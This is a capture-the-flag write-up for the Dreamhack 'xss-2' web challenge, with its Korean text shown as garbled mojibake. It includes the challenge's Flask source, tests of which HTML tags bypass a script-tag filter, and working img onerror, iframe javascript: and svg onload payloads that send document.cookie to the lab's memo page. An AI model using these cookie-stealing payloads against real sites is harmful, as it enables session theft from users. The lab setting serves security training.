๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[Dreamhack]WebHacking/๋กœ๋“œ๋งต_Basic

[Dreamhack] Level1: xss-2

by Yun2๐Ÿ‘ 2023. 8. 19.
๋ฐ˜์‘ํ˜•

๐Ÿ›Ž๏ธAccess

์—ฌ๋Ÿฌ ๊ธฐ๋Šฅ๊ณผ ์ž…๋ ฅ ๋ฐ›์€ URL์„ ํ™•์ธํ•˜๋Š” ๋ด‡์ด ๊ตฌํ˜„๋œ ์„œ๋น„์Šค์ด๋‹ค. XSS ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“. ํ”Œ๋ž˜๊ทธ๋Š” flag.txt, FLAG ๋ณ€์ˆ˜์— ์žˆ๋‹ค

 

 

๐Ÿ‘พExploit Algorithm & Payload

๋”๋ณด๊ธฐ
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    return render_template("vuln.html")


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

 

 

#1


#xss-1
@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param

#xss-2
@app.route("/vuln")
def vuln():
    return render_template("vuln.html")

: '/vuln' ํŽ˜์ด์ง€์˜ url ๋ถ€๋ถ„์— /vuln?param=<script>alert(1)</script>์˜ ์Šคํฌ๋ฆฝํŠธ ๋ฌธ์ด ๋™์ž‘ํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ์ฆ‰, “vuln.html์ด๋ผ๋Š” ์—ฐ๋™๋˜๋Š” ํŒŒ์ผ์—์„œ ’<script>’๋ผ๋Š” ํƒœ๊ทธ๊ฐ€ ํ•„ํ„ฐ๋ง ๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ๊ฒ ๋‹ค”๋ผ๊ณ  ์ถ”์ธกํ–ˆ๋‹ค.

 

 

#2


#a ํƒœ๊ทธ
<a href="http:www.naver.com">xss</a>

#iframe ํƒœ๊ทธ
<iframe src="https://www.naver.com" height=100 weight=100>

#img ํƒœ๊ทธ
<img src="https://www.naver.com">

 

: ‘/vuln?param=’์˜ url์— ๋‹ค์–‘ํ•œ ํƒœ๊ทธ๋ฅผ ๋„ฃ์–ด ๋ณธ ๊ฒฐ๊ณผ ๋ช‡๊ฐ€์ง€ ํƒœ๊ทธ๋“ค์ด ๋™์ž‘๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

: ๋”ฐ๋ผ์„œ xss์ทจ์•ฝ์ ์„ ์šฐํšŒ์‹œ์ผœ ๋™์ž‘์‹œํ‚ฌ ์ˆ˜ ์žˆ๊ฒ ๋‹ค๊ณ  ํŒ๋‹จํ–ˆ๋‹ค. (xssํ•„ํ„ฐ๋ง ๋ฏธํก์œผ๋กœ ์ธํ•œ ์šฐํšŒ ๊ณต๊ฒฉ ๊ฐ€๋Šฅ)

 

 

#3


<img src="test" onerror="location.href='http://127.0.0.1:8000/memo?memo='+document.cookie">

 

<iframe src="javascript:location.href='http://127.0.0.1:8000/memo?memo='+document.cookie">

 

<svg onload="location.href='http://127.0.0.1:8000/memo?memo='+document.cookie">

 

: ์ด๊ฒƒ ์ด์™ธ์—๋„ ๋‹ค์–‘ํ•œ ์ต์Šคํ”Œ๋กœ์ž‡์ด ๊ฐ€๋Šฅํ•˜๋‹ค.(Unicode escape sequence ์ด์šฉํ•œ ์šฐํšŒ, Computed member access ์‚ฌ์šฉ, javascript ์Šคํ‚ค๋งˆ ์ ์šฉ, ...)

 

 

๐Ÿ”‘Analysis and results for obtaining the Flag DH{…}


 

 

๐Ÿ“ŒSummary


xss(Stored, Reflected, Dom)์ทจ์•ฝ์ ์˜ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ณ„ ํŠน์ˆ˜๋ฌธ์ž ๋ฐ ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ ํ•„ํ„ฐ๋ง์„ ๋ช…ํ™•ํžˆ ํ•ด์ฃผ๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•˜๊ณ , ์—ฌ๋Ÿฌ๊ฐ€์ง€ xss ์šฐํšŒ๊ธฐ๋ฒ•๋“ค๋„ ํ™•์ธํ•˜์—ฌ ์ ์šฉ ํ•„์š”

 

- ํ™”์ดํŠธ ๊ธฐ๋ฐ˜ : ํŠน์ • ํƒœ๊ทธ๋งŒ ์‚ฌ์šฉํ•˜๊ฒ ๋‹ค๋Š” ์˜๋ฏธ(์šฐํšŒ๊ฐ€ ์–ด๋ ต์ง€๋งŒ ํ™œ์šฉํ•  ๋•Œ ๋ฌธ์ œ ๋ฐœ์ƒํ•  ๊ฒƒ ๊ฐ™์Œ)

- ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๊ธฐ๋ฐ˜ : ํŠน์ • ํƒœ๊ทธ๋งŒ ํ•„ํ„ฐ๋ง ํ•œ๋‹ค๋Š” ์˜๋ฏธ(script๋ผ๋Š” ํƒœ๊ทธ๋ฅผ ๋ง‰์•„์•ผ๊ฒ ๋‹ค!๋ผ๊ณ  ํ•˜๋ฉด ๊ทธ๊ฒƒ๋งŒ ๋ง‰์•„์ง)

๋ฐ˜์‘ํ˜•

'[Dreamhack]WebHacking > ๋กœ๋“œ๋งต_Basic' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Level1: csrf-2  (0) 2023.08.21
[Dreamhack] Level1: csrf-1  (0) 2023.08.21
[Dreamhack] Level1: xss-1  (0) 2023.08.19
[Dreamhack] Level1: Session-basic  (0) 2023.08.17
[Dreamhack] Level1: cookie  (0) 2023.08.17